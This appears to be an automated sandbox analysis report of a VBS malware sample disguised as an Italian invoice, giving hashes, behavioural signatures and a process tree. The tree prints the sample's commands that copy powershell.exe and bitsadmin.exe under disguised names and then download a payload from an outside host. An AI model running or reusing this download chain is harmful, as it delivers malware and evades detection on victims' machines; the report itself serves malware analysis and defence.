Analysis
- max time kernel
86s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20220414-en - submitted
20/05/2022, 15:02
Static task
static1
Behavioral task
behavioral1
Sample
FattDiffEmessa2020 03799870369/FattDiffEmessa2020 03799870369.vbs
Resource
win7-20220414-en
0 signatures
0 seconds
General
- Target FattDiffEmessa2020 03799870369/FattDiffEmessa2020 03799870369.vbs
- Size 3KB
- Sample220520-seve5ahah3
- SHA256 79b59d0b510fb8855ee624fd51b46c2b4f1cccef9294860f9864f00183b07e2c
- MD5 ba1697038db097aae963962a1fd5dd15
- SHA1 46e3f1b7e3c93f3de52d63a1afb3b6f6c17180b8
- SHA512 d45c7b86124b760381e36eeb301c2fba631e38b3ba537187ca059238eb2692531dda9efaa0ed0806c2530794b9fcd4f70e872ff6da2984d31ea812e6e177fb64
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 1716 DrBqNtd.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1912 wrote to memory of 3484 1912 WScript.exe 79 PID 1912 wrote to memory of 3484 1912 WScript.exe 79 PID 1912 wrote to memory of 3656 1912 WScript.exe 81 PID 1912 wrote to memory of 3656 1912 WScript.exe 81 PID 1912 wrote to memory of 1716 1912 WScript.exe 83 PID 1912 wrote to memory of 1716 1912 WScript.exe 83 PID 1912 wrote to memory of 1716 1912 WScript.exe 83
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 03799870369\FattDiffEmessa2020 03799870369.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe2⤵PID:3484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\DrBqNtd.exe2⤵PID:3656
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C:\Users\Admin\AppData\Roaming\DrBqNtd.exe"C:\Users\Admin\AppData\Roaming\DrBqNtd.exe" /transfer bHybPh /download https://ndjambo.com/jaluma/03799870369/it.gif C:\Users\Admin\AppData\Roaming\it.gif2⤵
- Executes dropped EXE
PID:1716
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
- Size 182KB
- SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
- MD5 f57a03fa0e654b393bb078d1c60695f3
- SHA1 1ced6636bd2462c0f1b64775e1981d22ae57af0b
- SHA512 7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
- SSDEEP 3072:845J3+Yf8tEONgW6YPdVI3f60nAufMGeCEC1Q0jon3YR:FWzPg3f3nNfiCf9cI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
- Size 182KB
- SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
- MD5 f57a03fa0e654b393bb078d1c60695f3
- SHA1 1ced6636bd2462c0f1b64775e1981d22ae57af0b
- SHA512 7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
- SSDEEP 3072:845J3+Yf8tEONgW6YPdVI3f60nAufMGeCEC1Q0jon3YR:FWzPg3f3nNfiCf9cI
- MD5 SHA1 SHA512 SSDEEP